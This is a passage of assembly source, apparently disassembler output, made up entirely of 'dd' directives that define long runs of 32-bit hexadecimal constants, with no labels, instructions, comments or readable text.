		dd 0FC3DEB02h, 80F78C07h, 0BBF36497h, 0C0B90E7Fh, 7545AD39h
		dd 3FBCC091h, 5D00711Bh, 41C29294h, 1C8A50B6h, 40176F4Bh
		dd 0FD23375h, 5200CD45h, 0C9E87761h, 0EDBE0B28h, 21D5A9CFh
		dd 5EF28E89h, 9EC860A2h, 223D5AE0h, 1A0064B8h, 80EBE22Fh
		dd 1E6268B3h, 0CFA7378Ch, 360C86Ch, 0DC75C474h,	4955B439h
		dd 2C2A00E8h, 8CDA4AE5h, 79E02E60h, 0C06C1C0Ch,	34E6F5Ah
		dd 0C67196C9h, 2E784C9Ah, 0F09F49h, 0CA87826h, 2E31ED96h
		dd 3C34C6AEh, 5BEBB28Fh, 93E42F80h, 8B415C2h, 0C0C6F932h
		dd 0A1301Bh, 0C361CA3Ah, 64C4A044h, 90782B00h, 32CF4E26h
		dd 558C0709h, 85F9F5h, 0AE240A73h, 2516E8F2h, 3C00A1B7h
		dd 9738D1BDh, 528503F4h, 0D4CBBB03h, 70D51FF9h,	9892A868h
		dd 3504B100h, 5EF6FE07h, 0CEEE48h, 529567D5h, 9D5FD14Eh
		dd 1374C00h, 275B3393h,	1B9F0E2Eh, 0BC02A6Bh, 0CD618841h
		dd 26212800h, 0AA47E1A9h, 4C040069h, 0F8EC0186h, 6A0005CAh
		dd 0E56D313Bh, 0CDD9Bh,	8E387680h, 0AA812296h, 62024500h
		dd 87F96333h, 65010018h, 8A325D17h, 370077F3h, 28073C44h
		dd 1163864h, 0DC666D20h, 0E668E4D9h, 0BA456440h, 414A6A1Fh
		dd 1E2089h, 0F6F0B560h,	0BA700D6h, 57AB39BFh, 0DC008ABCh
		dd 935BE51Eh, 6F426ECh,	0BBDF6D40h, 0F91F3944h,	5D43521Dh
		dd 0C83EAF9Ah, 3B7D93Dh, 646AFD41h, 8FD0B32Dh, 4A02EECDh
		dd 3E4F6B4h, 95CCC0E7h,	1CCBF018h, 0E86E10Fh, 6FA04899h
		dd 19108AC1h, 6406C900h, 4FDD651Bh, 0DD3005Ch, 23847326h
		dd 0D80048D4h, 8508A433h, 41AFCEh, 7B7A4DA1h, 1431FF96h
		dd 0C4A348h, 2D1C6D25h,	981BDD57h, 0F2E0090h, 0F496D819h
		dd 394D2517h, 5C9000ACh, 0DC0648ECh, 6CD700F6h,	92BD0FA1h
		dd 0C500A8E4h, 47BF39F9h, 76956FA5h, 24280A42h,	8C1378h
		dd 0CD321CDh, 83093DB6h, 81BFF9A4h, 8992375Eh, 0C166182h
		dd 906341A8h, 1FE99488h, 0A1F4A302h, 0E051938Ch, 19DEE08h
		dd 0E6F9BBF5h, 74A40B13h, 0EC301690h, 280A4994h, 58591D83h
		dd 69200008h, 0E434CD18h, 6D3AA503h, 0D00145F1h, 7D86B8h
		dd 9AA61F6Fh, 3E2A4381h, 6E601100h, 75AE96AAh, 9CCE0022h
		dd 0F8346588h, 3F0529F9h, 4663A5EAh, 5F248C40h,	27108307h
		dd 4C02B0D5h, 9E80ADBEh, 5A52B4D1h, 1089DA00h, 36117260h
		dd 0E82D007Bh, 6B374948h, 84AE85F1h, 49B19432h,	0EE80AF2Ch
		dd 801495BBh, 0C5A46416h, 0AAD10094h, 9946BAAFh, 0A2FA933Bh
		dd 0F4E38200h, 50B17B3Ah, 964C0180h, 1CD0290Ah,	9B028ADh
		dd 404D28B4h, 57B068h, 46D1175Bh, 9099B7A1h, 0B8523102h
		dd 406E0C74h, 678EBBE7h, 90F0318Fh, 0E4C87EEFh,	17A2D00Ch
		dd 0A8430855h, 80068Ch,	0C6F2BEEFh, 0D14A7E5Bh,	59FB5A00h
		dd 0E6872DB5h, 0B110001Fh, 0C07A5E66h, 9C0108B3h, 0B4DEE70Dh
		dd 4C404C50h, 165AA6h, 0D4F65874h, 386390FEh, 8420E62Ah
		dd 0ED035500h, 0C56661DBh, 10F2E1h, 0D415C306h,	68D60EEAh
		dd 0EBCCB602h, 8F95F4B3h, 0C8360B2Ch, 0C0488FFCh, 0D5A4E8B9h
		dd 2E00D27Ch, 0D036C1C3h, 59116FB0h, 0CD000C88h, 0B9C79837h
		dd 2000571Eh, 7E896994h, 88455Fh, 0AE3BFE38h, 9C17EBC9h
		dd 39BE7330h, 56B895h, 732AAB6h, 29655E4Dh, 0F9688800h
		dd 66E44FA9h, 0A18D6150h, 8A387BE9h, 549D3408h,	2B6D3A3Bh
		dd 843CC4B5h, 550FB0EFh, 210E6B63h, 0E0EF8550h,	6FDA90E5h
		dd 9CF15410h, 788D0C48h, 281193C9h, 0C223EC0Ah,	0EE00F867h
		dd 0B396AEF0h, 0F6650770h, 1297DEEAh, 74441E22h, 0D1B8C505h
		dd 0AD03356Bh, 30E32E89h, 6FB1FB08h, 0A200D1A1h, 153E3193h
		dd 32770Dh, 0B8DA36DFh,	0C86E0FC5h, 9CD53F0Fh, 4DD68131h
		dd 1882C741h, 96ED0986h, 8C7F6A0Fh, 302B8032h, 0A011D1A5h
		dd 688FB35h, 0D1AE8A80h, 3D9D724h, 5C43284Ch, 70CA9811h
		dd 903C3044h, 0E8A014A3h, 0C7F5808Ch, 558578Bh,	709182C8h
		dd 0F3BBC26Fh, 0BF56E4A0h, 7A00868Bh, 0EA11637h, 0C04B8E31h
		dd 335E0A51h, 90052192h, 0BFEA36D8h, 7FCDC780h,	498E24D3h
		dd 0EFF08034h, 0D18B8970h, 0E300AAF0h, 6EE5045Ch, 1EA1FAh
		dd 0B3B73690h, 7C9537C9h, 53649CA0h, 1021AD00h,	6342BF6Eh
		dd 0EACB28F3h, 5F3E7B98h, 521843CAh, 285123DDh,	0A79B60DCh
		dd 0CA10AD60h, 981830h,	0EBD59F9Ah, 0C0A969E9h,	70BE1B00h
		dd 1606B5DAh, 0F1FC06EFh, 22FB5C82h, 0D8B700BFh, 7ADEC64h
		dd 3B168EC3h, 73ABA203h, 7B0D04B7h, 40F489Ah, 3AE4C202h
		dd 4C01DEC7h, 10F67190h, 9D070784h, 9CB604A7h, 1C0C7C45h
		dd 3C470898h, 3C34173Ah, 181C18B1h, 150103DBh, 86A28F48h
		dd 0D191273Ch, 5550657Bh, 4C64180Ah, 0A669E39Bh, 1898D878h
		dd 1CA13F96h, 1089B084h, 0AC02631Ch, 0E5108B50h, 8FC604Ah
		dd 0E4410468h, 0F09415E2h, 48344027h, 1C0411C9h, 941A7C82h
		dd 0DB08B48Ch, 41B70CA9h, 438E9314h, 2029FB4Ch,	10B44CBFh
		dd 275028h, 468C60AAh, 5F63DC67h, 0C6782B0Ah, 8739703Ah
		dd 0E19BE26Dh, 7D37D6E0h, 0FC08D068h, 0EB040BADh, 0C359A40Ah
		dd 0AF4B06C0h, 0BE001944h, 0C2C8A3FCh, 1366BE3h, 0EE4F0880h
		dd 808E4D47h, 5D64F841h, 1871A061h, 188F6B22h, 9F33FAC2h
		dd 181C38BBh, 59AFB969h, 0F76701AEh, 0C6401E49h, 1BCD614h
		dd 30852B0Dh, 8092E33Bh, 0F58C961h, 0C0E16DA8h,	65FB7A0h
		dd 0E0A9624h, 34AB865Ah, 3CC69B06h, 82600049h, 1F30DFE8h
		dd 680EBB32h, 8EBAE15Ah
		dd 95748061h, 319BE63Ah, 6AA0F306h, 97E021FBh, 41075CA0h
		dd 81F15D3Ch, 82E05770h, 40B9488Fh, 16745099h, 48E00098h
		dd 19C41572h, 0FE009C4Ah, 0F8FEA4Fh, 5B656Ah, 18EBC59Dh
		dd 747A0428h, 3D847507h, 97A4B30Dh, 987D04C8h, 241103F8h
		dd 57C34D48h, 0E80923D3h, 262E74h, 9B366080h, 797C402Ch
		dd 0B419BC1Eh, 65C969C2h, 619C4078h, 3D4E0C92h,	3F291B9Bh
		dd 962836F4h, 41E1606Eh, 21092B84h, 1AD8CBB2h, 7B037E68h
		dd 7C909FD8h, 1A7A633Dh, 0E030E116h, 0DF73E8C3h, 6CCD24ADh
		dd 0DBFB0FD0h, 22C13A67h, 0C9C046E3h, 0F6312272h, 0BEF3216Dh
		dd 50FC6AF8h, 0A2365094h, 76B405A8h, 2764AC09h,	8BE0DFF8h
		dd 99A190h, 42C9D77h, 9F226F71h, 78A8148Ah, 55C90F6Bh
		dd 900B64Ah, 3F64B5FCh,	0C046B980h, 727A28F1h, 0B8A5A9B4h
		dd 47F12984h, 4A202222h, 7F3887F0h, 0BF5C0E60h,	0CE2F8EDCh
		dd 3A0BDAA0h, 0CA02D195h, 87C28377h, 3420419Ah,	1E9B5980h
		dd 609FB550h, 0A2F440F1h, 3F87C99h, 0AFB64E01h,	9CD8C514h
		dd 370F51E0h, 0E0D8A1B7h, 6F7675BFh, 61498F00h,	0C9818324h
		dd 604362E3h, 0D9003B38h, 924E082Ch, 90F75090h,	29941E5h
		dd 9D24E2B8h, 0FE966890h, 2A6FE87Eh, 80A487BFh,	76451CD8h
		dd 0A547E8FBh, 0EE9D888Ch, 0FA5FB502h, 20210D23h, 0CA6AA40Ch
		dd 9D181C31h, 91FF96E8h, 4084130h, 2CA8A817h, 977C6005h
		dd 4C0837D7h, 40220581h, 0BD60088Eh, 71CBB03Ah,	10D16Fh
		dd 4FD69B8Ah, 0FC2D70F1h, 0BB1A1AF6h, 7407B74h,	1C10036Ch
		dd 28714879h, 6248F9B9h, 8F592975h, 821C4B20h, 0FB11C050h
		dd 9281760h, 58007A41h,	0A307085h, 0BFFB695Ch, 52364748h
		dd 0F08183CEh, 0CDEA5337h, 274AE40Fh, 0DFC580C0h, 0E483E9h
		dd 42037670h, 5A092D89h, 9A018C90h, 99A6C6F1h, 0C420CD2Eh
		dd 0C979C091h, 0E6B1BE1h, 0CCE07754h, 0E090F3EAh, 40847277h
		dd 37550867h, 78882B0h,	48159780h, 3A3014h, 9C9FB713h
		dd 0AD284ACDh, 9B627900h, 1A6E0684h, 75E324F4h,	19A0110Ch
		dd 4E10F643h, 7CA9C848h, 66600919h, 8A115BCh, 0DC7341ADh
		dd 7B64A4A1h, 0D281E4B9h, 6E07687h, 9C10C09Bh, 0C6E00399h
		dd 353CBB3Dh, 0C818C171h, 1ECF0518h, 2C70F2h, 484DF7Ch
		dd 437FC0F1h, 0C81C9228h, 3F50D14Dh, 0C6AA874Dh, 0D0505A40h
		dd 98C312FAh, 3B997BFCh, 0D097A4Ch, 800B2EA4h, 85F4141Dh
		dd 0C9807F04h, 0A99EB327h, 22649A0Eh, 0AC37A176h, 0C3C22983h
		dd 0C95448EBh, 3F0800E0h, 945D7BEh, 0C600DC37h,	7E6764EFh
		dd 222D8152h, 6E3C8F08h, 615C0139h, 0B76A63E3h,	0B0049008h
		dd 7372A85Bh, 0C21A000h, 0F74527Ch, 0AFA95C00h,	2EC0ED86h
		dd 8247000Eh, 7B2AFC5Fh, 4D2C6B9Ch, 3422B874h, 4CD1E209h
		dd 25AC0056h, 4482D38Eh, 41009B86h, 4DC4BD04h, 0DDFC3F7Ah
		dd 402426CCh, 88035946h, 7F67900h, 0BA11D315h, 2A72F8D4h
		dd 0E98A0BCh, 651B317Ah, 84BDC3A3h, 0A788E87Dh,	0C7D12C6Bh
		dd 1A30012h, 45E54D79h,	4A38E2F6h, 0A0EC296Ah, 0B94FAD0Ch
		dd 38DF008Dh, 546924D4h, 960034D7h, 0FAC40A30h,	78E6087Fh
		dd 183B266Bh, 0BA766094h, 991D52C6h, 61CCA813h,	0C02B080Bh
		dd 0C732D521h, 0E7601487h, 8B5A8314h, 0B4745497h, 6DAD074Ch
		dd 23B838C7h, 7AF03F9Bh, 0C6057059h, 0E10FF491h, 0BA1EF030h
		dd 0A49A0Ah, 0FAC26B65h, 0EEE57559h, 6C5C8D03h,	0B82784AAh
		dd 546A9E40h, 0B182740Fh, 0E8110774h, 590B7057h, 0D01CB36h
		dd 13B9D242h, 0B980289Ch, 7934C652h, 0A1FE3992h, 0D00E1D00h
		dd 8513A6FCh, 72CB000Dh, 2D8C1235h, 0E9171FEDh,	2453EB2Bh
		dd 84D2280Bh, 34408E34h, 1F13BCDFh, 9CE0702Ch, 1AC26A41h
		dd 0C56F7189h, 35CE8410h, 508E0890h, 0B196A103h, 982469Eh
		dd 2172EF78h, 0D1CD24C8h, 13BA8B00h, 0DCAE4B6h,	3B4A49Ch
		dd 288EA9D7h, 4DA07E94h, 0E300BFA3h, 921C959Eh,	0DD766F5Eh
		dd 28AD1470h, 0E7306A06h, 0E10808D4h, 18475632h, 0B05BA1C5h
		dd 0B465ED1Fh, 135A6786h, 0AC44290h, 6C70287Fh,	33E05489h
		dd 25A0E18Ch, 1B8E8050h, 1EE400DEh, 0DDF79D36h,	0BA00F5E7h
		dd 6E0B238Ch, 1EBE0A1h,	54908ED5h, 6066A9B9h, 0EE05C564h
		dd 82366BE9h, 0CDBC88h,	0BE9B49E8h, 0DC4F9622h,	0BB5E9E00h
		dd 5B35EFF4h, 0BC8825CEh, 945D48A0h, 533C69ABh,	0A1270005h
		dd 5AF10752h, 0E09354E3h, 0E7611E2Ch, 388E3E13h, 74872FC7h
		dd 36A06011h, 7FF2622Eh, 4AE05D60h, 93EC99ADh, 35000F8h
		dd 78E5C4BEh, 419D4486h, 8A042400h, 777E823Ch, 84FA12E6h
		dd 0C2CC2080h, 0EC004465h, 4175AF71h, 0F18EEFFh, 0BE4D3367h
		dd 90D01DD2h, 43C2F859h, 8C00753Ah, 80235635h, 394CF0FAh
		dd 8A2A2BC5h, 0D8A680h,	0E3FB3062h, 0D41A49BEh,	0A37ACD00h
		dd 0F7DDBB42h, 233C02BAh, 824D4392h, 44077472h,	2AB8422Eh
		dd 1CC678C0h, 4B6B009Dh, 0BA6C75A7h, 0C9366F5h,	63BBEB80h
		dd 0E20AE05Bh, 0CF0E85Ch, 0BAE236C6h, 40009B20h, 5630262h
		dd 2665CEFh, 287C2EB1h,	0ECA045AFh, 7F83799Bh, 15B88701h
		dd 1A47BA1Bh, 0A4746CD1h, 0CE183E61h, 0EABDB980h, 774E7A53h
		dd 0CC69C09h, 11DC9F93h, 5A409D9Eh, 33FB615Eh, 0A40C0074h
		dd 5F1BFAC1h, 0E6146BE5h, 9FAC042Bh, 0ADB56400h, 306DE1DDh
		dd 0EE1995A4h, 0B000D560h, 5C3AABF3h, 0C04FB967h, 0DE031D9h
		dd 4B49AEAAh, 415E0710h, 94A0AFCFh, 3B4C5A21h, 2FB9A49h
		dd 0C9652E4h, 0E441E5EFh, 50542DF1h, 0B80461F8h, 4755C42Ch
		dd 233159C0h, 48E12882h, 0A03C9094h, 1615A98h, 5CC64D9Ah
		dd 30C7D236h, 49C0C32Ch, 0EE2BE160h, 0FB41026Bh, 0EC09B44Dh
		dd 0BD3AA4C6h, 0A970006Eh, 0A0B5627Ah, 348077FEh, 8078CC23h
		dd 0E699CF28h, 1140D44Ch, 1792BB9h, 0CEA9B59Eh,	84038EDEh
		dd 3F983658h, 13BD1601h, 0EF919642h, 0A8ED8002h, 499A001Ch
		dd 31024C92h, 0EAAA2B5Eh, 0EC606BDEh, 216F8091h, 5B1D186Dh
		dd 0B46E8252h, 64606B20h, 9B3FC873h, 0D8D20078h, 0CB165045h
		dd 484BE3h, 77DF3A18h, 0A6FEBC13h, 0D90F8719h, 0E0508608h
		dd 577E65Ah, 925FC2BFh,	2868C23Dh, 0C90210ECh, 17448B9Bh
		dd 0EA2C90CAh, 0C8540877h, 8164A730h, 0B4314F40h, 0B900D496h
		dd 0E503BA77h, 8899A4CCh, 7E7F6204h, 5A74A7A0h,	0DC9F7101h
		dd 376414CCh, 4D50920h,	6FFAC596h, 3618C044h, 0D100DB28h
		dd 0EF37DC3Ah, 0A07D02BCh, 150B938Ch, 0B8589C42h, 90DE0851h
		dd 58B4DECh, 0CAB6EC68h, 3745808Dh, 0FA727CDEh,	0B01C4B58h
		dd 1A7539Ah, 7F938E67h,	30A358C9h, 28CE694h, 0C4B80352h
		dd 94197B35h, 41E1117h,	0AEB5C039h, 979F0F0Ah, 0F580F80Dh
		dd 61CB30E7h, 0B412005Dh, 0EEFCEAFFh, 52542272h, 0F896A4BCh
		dd 3149D780h, 73ABA56Ch, 0DC68FF1Bh, 0D0FCBD80h, 5780F6B4h
		dd 21804A06h, 18B2FE50h, 0E888A8ACh, 44E8CCh, 0DAD59C70h
		dd 40459425h, 0D1CB9FAh, 0D0C3BCE3h, 5EEEAFBh, 8683E858h
		dd 20CCA162h, 0D5739BDEh, 38D7C130h, 11EA9E9h, 4D475324h
		dd 40F4DF59h, 700C9A24h, 5FE0E0A8h, 34E5DA0Ah, 0C38018AEh
		dd 88F6AC3Dh, 87922A64h, 0C5B70080h, 273FC6ABh,	120062D5h
		dd 0D04E4640h, 418A25h,	0D1EE3DB8h, 0DE43884h, 7302CE07h
		dd 578327A8h, 4872C8C1h, 0C3D10D28h, 9E80A603h,	5621EB9h
		dd 0B9B87B1Ch, 8F9C0859h
		dd 0E619D18Eh, 3AF17248h, 49BC819Ah, 3CD35C26h,	6A30E058h
		dd 0E097AB31h, 107C7E01h, 4AB39C19h, 5E859CCh, 3085625h
		dd 97E4493Ch, 8C884493h, 6700A68Fh, 0A390369Dh,	603D7F66h
		dd 0B61621F3h, 0E375D3CEh, 3022094h, 0D91A4384h, 801F59F0h
		dd 0CB8E511h, 92801Bh, 14C3C2F4h, 5E3C4670h, 0F191E305h
		dd 7F803A1Fh, 0EA6AFBh,	57DD44FDh, 0D8A539D2h, 0BC0014F8h
		dd 984B2FDCh, 782A9Eh, 0E521318Bh, 0C3F74E37h, 1D45A200h
		dd 0A8EFD8EAh, 0DDC701F5h, 4CC4E7BCh, 73E0CFEBh, 5C00C519h
		dd 0FF0B8921h, 0CE17E0h, 0E5A6267Ah, 4D514BFDh,	19C3EE00h
		dd 0C63178DAh, 0CB8F00C2h, 6B5D043Fh, 0B73EC74Ah, 35450015h
		dd 6CE46A8Eh, 3A581F4Ch, 9E1E00D0h, 497EC2E0h, 720EC701h
		dd 0E5F74AABh, 94B60h, 8B9C2A3Dh, 3CF48567h, 83004B77h
		dd 1E0058Eh, 61751h, 0E720DABDh, 0B9C0D5F0h, 1CE5D03Eh
		dd 9540071Ch, 46CF6B68h, 0C4F2DAh, 2FA690BDh, 43FCF708h
		dd 145D4901h, 79ED2822h, 0F215EA20h, 0FEEE002Fh, 208F6529h
		dd 0CB004138h, 9A33287Ah, 0F9723Dh, 0CAEDE854h,	94BC04B0h
		dd 6BDACD00h, 0CECC7CD6h, 0D9C4093Ch, 34235D03h, 0CD08EBh
		dd 0C07147B8h, 0DA0054FAh, 73851170h, 58F10E1h,	0C88C310Fh
		dd 880080D9h, 0DB077CABh, 47A8334Fh, 2ECAC130h,	184148AFh
		dd 94052880h, 5D000B5Ch, 34244458h, 52C5FBh, 85972DFh
		dd 0E11A65EEh, 0F58848F5h, 61F17600h, 0FA25B2B4h, 0EF5903B5h
		dd 0B1ACA715h, 2AE9BFCBh, 1E74C480h, 14B683Eh, 17F7FB0Ch
		dd 0EEDCE3E4h, 0F8B098h, 25E2537Fh, 4655A480h, 0EBB560F5h
		dd 0F6D6B00h, 67C0C21Ch, 983E00FAh, 0B6F8D551h,	0F10064ACh
		dd 2DE10BF7h, 6DE070h, 906195ADh, 0FB3376DCh, 3C0AA300h
		dd 6207F7C3h, 0D5F303A0h, 5A1A7AE4h, 0B94B7298h, 24B8D300h
		dd 0C8B167DCh, 6C432610h, 22544090h, 0DA01B683h, 20977A58h
		dd 0D0406F95h, 46FCC9h,	6011B486h, 0F5C04073h, 7675E09h
		dd 7D810009h, 0C2C8477h, 11F681B4h, 2300C839h, 961C9E6Bh
		dd 0A8F7D17h, 0BC32C5A8h, 2F7705E4h, 79AE00FDh,	15476B5Eh
		dd 5210AF00h, 8F3B8843h, 8B2100B7h, 99FB35F8h, 2748F085h
		dd 0B0E71E10h, 0A6831E20h, 0C6EE40B9h, 0CA5804DBh, 413C6D00h
		dd 557A6C88h, 96BF0094h, 1AD4EC01h, 0D9009257h,	634FC744h
		dd 30F320BCh, 8D826879h, 0D8004798h, 0D6655831h, 1CB81FEDh
		dd 0C2B5F0C6h, 5AEC7941h, 22C076E3h, 7DE66B69h,	7ABB7F16h
		dd 93DAF200h, 281F08E3h, 0C0806D48h, 0E7BF1C52h, 6E41102h
		dd 7E969D00h, 0AF341707h, 0AD140466h, 828BE540h, 0CC5AAE60h
		dd 15F6D800h, 52D1A7D7h, 32F90058h, 0D48108B0h,	0A7096E3h
		dd 1D598C00h, 0BEE96B5Ch, 0E0DB00C7h, 749FA5DCh, 0E700507Fh
		dd 513B778h, 0E0BD8681h, 8A29C1F5h, 0C04AED76h,	16247473h
		dd 0AC00B46Ch, 7B02B93Ch, 14C980D9h, 0B4FB7A00h, 9D6DCB38h
		dd 0F3D31FB8h, 0E8A74EC1h, 0A05F5C0h, 0DD09A976h, 80F4CCEEh
		dd 174FE02Ah, 0FC48096Ch, 0B980244Ch, 2B2CF05Fh, 0EF897300h
		dd 0FA877C91h, 210F005Bh, 32502E22h, 0C11CCB29h, 0DC82B16Bh
		dd 858FB33Ah, 10904B9Bh, 0E91E019Fh, 0FAE4D4h, 0CA37A286h
		dd 3FA3FCDCh, 0B5087400h, 5A8E9F7Ch, 7E613D8Fh,	0D78A4200h
		dd 0B84CAF67h, 39001B76h, 0EA24AE8Eh, 0F22D6h, 64E5E11Dh
		dd 2A03F8CBh, 7F181500h, 87ED6D3Eh, 0D8F43E57h,	0B6464F03h
		dd 3400DC5Fh, 83F80905h, 217F5Dh, 26A8CBC3h, 0CAAAEC9Bh
		dd 36150100h, 7A676F77h, 1F700750h, 0A0A37C33h,	0C5C8953Eh
		dd 2E8D3Bh, 9C2692F5h, 0E02D879h, 17254A08h, 424072A1h
		dd 3EF980E6h, 5413A688h, 487EA0Fh, 89D4B9EEh, 0FB28C092h
		dd 6B07DDAAh, 0B0DF83B3h, 12C6E49Eh, 0DC74F8C0h, 52E3007Ch
		dd 0E58BF14Ch, 0DF0FD4FAh, 0C0067A35h, 256BAA8Eh, 0DDA4003Fh
		dd 325CA780h, 9C003321h, 374D49A0h, 562867h, 0E463B301h
		dd 328D8F2Ah, 4AB82201h, 0FB3998C6h, 3B00F828h,	0DA0FF8C3h
		dd 9400C72Ah, 63B53DE1h, 3F7793h, 9CCB9AEBh, 0D2824501h
		dd 537B5A02h, 80A5A7FEh, 4026F8Ch, 0CB010081h, 0F6076475h
		dd 0C1004A38h, 0BB7AEDC0h, 0A8D354h, 266C0D4Fh,	2C0AFE16h
		dd 0BD74B100h, 7B4A9E03h, 3B9300ABh, 0F424CB81h, 0EA00D8E7h
		dd 726F2774h, 9AEA6h, 75B6FF63h, 0ED161C77h, 0F624EEA0h
		dd 56A5700h, 6390D717h,	6776002Ah, 0ABE6A519h, 86000FC0h
		dd 24AA13FFh, 0B492C2h,	0F96ADAD8h, 39ECD778h, 3746221Dh
		dd 6C1B2480h, 7A0A303h,	0B0AEC535h, 809905BEh, 84225A22h
		dd 2180271Ch, 6318A142h, 63384239h, 26B18898h, 0D8A400EFh
		dd 0ADE11972h, 9626219Dh, 0CC00705Dh, 6F276BFh,	0F9C90309h
		dd 0CB3E4E7Bh, 0A9566590h, 0FCC01900h, 0BF9F1E42h, 48C770Ah
		dd 7EAB4A61h, 957AC07Fh, 9B034C57h, 71D5CBC2h, 77808033h
		dd 0EF220064h, 86A33AA9h, 9A007840h, 6B3E0457h,	137F23Ch
		dd 12BD926h, 6DC1ACC8h,	827102F4h, 60F0CF85h, 1051D54h
		dd 0AFFA5A49h, 0F840E34Dh, 7E0020EBh, 0F3E60A3Fh, 63DC8Dh
		dd 0A271CFD9h, 6A8B2870h, 62167507h, 0E66566AEh, 21B57580h
		dd 88114C12h, 0A65B9907h, 0FCE55028h, 0E4B218D4h, 0A34D612Dh
		dd 0D02A0218h, 9885C517h, 5C7E315Ah, 0E08DC418h, 20952FC6h
		dd 0A3D0B77Ch, 0E4CF03C0h, 2CA10492h, 0EBCE2BA8h, 0C2604C00h
		dd 15C44710h, 87C60C7Bh, 0EB711B16h, 5170021Bh,	0AC680059h
		dd 76E03647h, 440F41A7h, 0A06D878Ch, 58C25DA4h,	0C3EA4Bh
		dd 0F19A915Ah, 5F79DC2Ah, 7300FE73h, 0C8740EA2h, 14A016Ch
		dd 0D2903D3h, 0E882B349h, 0E6F6D9BEh, 0DBB63300h, 0C3A3F985h
		dd 0C09300BFh, 0FB57C9AFh, 91008E1Dh, 96A438E5h, 7449BE1h
		dd 2F2628ECh, 0D5619052h, 63174D6Eh, 0C900213Dh, 9BAA50BEh
		dd 5B5A0005h, 5C9D015Dh, 6300BCDBh, 1AE08C54h, 3BBE9F4h
		dd 8DD6F9D1h, 0C19839EBh, 0A000285Bh, 34C86F91h, 0CE831Fh
		dd 0F44B3E16h, 1D4ED186h, 763ADA78h, 0E1DE1C38h, 0FBDF6D40h
		dd 0E8E61356h, 0A0EB0035h, 518764A9h, 4600E56Bh, 31780CBDh
		dd 4C2E9AEh, 504D47FEh,	0B2B8E216h, 0D0443093h,	8D179900h
		dd 0CD7DDBF9h, 0C74300D8h, 0DE35E30h, 3300C2C4h, 366BE55Ch
		dd 3B78CDCh, 0A9A22327h, 0FAF85A0Eh, 96804603h,	0C09EBDh
		dd 5FD58BF4h, 28D77C02h, 96CD204Eh, 71C8648Ah, 280891C0h
		dd 873D1A8Fh, 88D15083h, 29A2C500h, 2DF499h, 7F2413FEh
		dd 8378982Fh, 45941801h, 95C64FF1h, 0D80938BEh,	7CE97AAAh
		dd 8E118D5h, 0E8C85577h, 0FC4F8EC4h, 30E47780h,	50007585h
		dd 0DC3A1C5Bh, 28007EFh, 0F69C2AA1h, 9C845C14h,	70788655h
		dd 0D7C09E19h, 0C602488h, 467E1FFEh, 523540D5h,	0D0EE9D54h
		dd 0D2B63F00h, 0CA6FC2A3h, 0C0A70706h, 0AED6213Eh, 48E00300h
		dd 1300D43Ah, 0CC5BC40Fh, 72B7623h, 7DEAAC21h, 0E1E8E1F2h
		dd 0F9EFC8FAh, 0AD03A07h, 1E133716h, 0E8CAE04Fh, 0A1CE015Bh
		dd 720B3985h, 0E419ECB2h, 3FB70300h, 2DC62FCCh,	0E1EB0033h
		dd 10A9B15Ch, 0A432BDD6h, 8E27403Ch, 3D010024h,	53F474h
		dd 0E9D020EFh, 0EC05ED4Ch, 8B926A01h, 0E2DAB3A4h, 6217308Fh
		dd 3D190241h, 0BB08C08Ah, 9A8F8300h, 9CE59DBDh,	0AB790048h
		dd 3FDFB5Fh, 6A03E366h,	0F147777Fh, 1ED97EA2h, 5B07D0h
		dd 0DABA4B1Ah, 0B30148D3h
		dd 4327926h, 2DF40153h,	0D47F0F65h, 0A523D2E1h,	0EC08599h
		dd 0C3E4FF9h, 214C9FD5h, 1884BC8Ch, 0D2E20A1h, 0E953CA08h
		dd 0F32000C8h, 0C6ECDDCCh, 1780C560h, 0A0A9F61Ch, 0A8B02794h
		dd 4E3684h, 0E358EBD1h,	349D8AF3h, 3E6DAD00h, 0BB07CA4Ch
		dd 3228108Bh, 0E7C7386h, 8D907703h, 0F8EDD8BFh,	0F83AB3Eh
		dd 25B89527h, 0CDC68600h, 0B7033608h, 72D20F90h, 0FCEDB0DEh
		dd 0C8AF1F7Bh, 1F2F00B6h, 79848BF0h, 302E3400h,	9E5D9402h
		dd 0FEE67C51h, 3C37F0F6h, 6F1E5741h, 751300ADh,	2EB72B6Bh
		dd 71ECB3Ah, 2F2428CAh,	0BE7E3Fh, 0BF50E48Bh, 3F963037h
		dd 2D009325h, 31181289h, 0A5002AD6h, 0E8A0E214h, 1F21C355h
		dd 7B59C19h, 0A011B88Ch, 80BE7F89h, 231E9078h, 7003AE21h
		dd 0A2D4412h, 0F71E9B40h, 0C2833FA1h, 0E1E33141h, 0C8F828E0h
		dd 0B72DD8C5h, 0A5E50430h, 99CD0C1Fh, 10D80FD4h, 1E534F20h
		dd 3F3C8069h, 2AB42EFAh, 0ADE70050h, 458395B5h,	0A402110Fh
		dd 0A930D824h, 660C00A8h, 0B84C2F58h, 0F600A555h, 48B690F4h
		dd 1477F729h, 280F9A7Fh, 0DA194E3Ah, 43B718F5h,	990332C0h
		dd 0CCCDC9F6h, 97100A2Ch, 0C760B231h, 57A7E002h, 746469A5h
		dd 8C40D5A8h, 7844CC48h, 196890A8h, 0E292FE00h,	0B65C849Dh
		dd 912861B8h, 0C22B3CD5h, 58237C91h, 2A603B84h,	0A4F50F79h
		dd 8419D017h, 3D82EA11h, 85D2494h, 9078638Ch, 380F424Fh
		dd 0A5C3C345h, 4906B6A8h, 62978FF8h, 0F6ED8039h, 64CA3E76h
		dd 38275502h, 0B8A00B9Ch, 0C2989A6Fh, 31632130h, 25EFFA5h
		dd 23069272h, 50896C8Eh, 1CC688h, 0C234B684h, 0B0299275h
		dd 2903CC41h, 264369CEh, 0A4211h, 0F3BCF5FEh, 71287ABBh
		dd 0CAEA8423h, 0D6008FF0h, 0D7C34CA9h, 3C969D75h, 0F603AA8Bh
		dd 0A7BA128Dh, 0D3631101h, 3CC5BC8Ah, 0AEFB80F3h, 3DBA3427h
		dd 4E940869h, 88C0B696h, 3071EC90h, 2B19B3F7h, 5364472Dh
		dd 90E758h, 186748B0h, 987BC391h, 28C928E8h, 0E72800B7h
		dd 90ED39EFh, 0A06F0A20h, 384880Fh, 3463F2B8h, 0B5A0EB83h
		dd 0B601DCF5h, 2399ADF8h, 0CC22B913h, 0E040702Bh, 8BC39A11h
		dd 802CEA23h, 0AD39F87Eh, 897DB6CCh, 4AD018C1h,	2BC9C933h
		dd 0BC6448F6h, 3918627Ah, 548C6DB5h, 0E351A010h, 712C00BCh
		dd 38C48CDBh, 4891ABB6h, 35FC37ECh, 302C907Ch, 0B0B01131h
		dd 284CDFB8h, 10EB8510h, 0E1870C02h, 0FAA22A9h,	81BE3B10h
